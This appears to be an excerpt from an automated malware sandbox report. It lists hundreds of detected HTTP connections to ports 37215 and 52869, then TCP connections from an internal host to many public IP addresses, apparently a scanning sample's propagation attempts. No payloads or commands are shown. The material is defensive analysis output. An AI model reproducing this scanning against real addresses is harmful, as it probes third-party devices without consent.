Source: unknown	Network traffic detected: HTTP traffic on port 44382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36636 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59346 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60146 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47126 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37204 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34674 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58166 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42750 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60068 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35434 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38322 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40272 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42146 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56634 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58160 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36112 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54310 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49070 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36646 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52762 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47366 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36200 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51676 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50856 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59702 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60326 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35712 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43780 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34988 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59386 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37534 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42408 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40576 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43216 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55576 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54226 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39500 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58678 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37340 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38040 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33018 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38358 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42054 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49620 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43624 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58478 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40190 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33998 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40810 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43588 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42052 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35770 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.0.70.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.37.164.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.153.67.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.108.139.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.250.8.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.129.249.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.33.14.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.57.139.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.180.84.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.231.64.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.40.218.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.115.73.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.43.220.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.174.196.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.130.193.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.10.15.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.85.130.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.14.164.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.160.181.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.195.249.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.63.47.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.162.48.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.136.42.214:37215
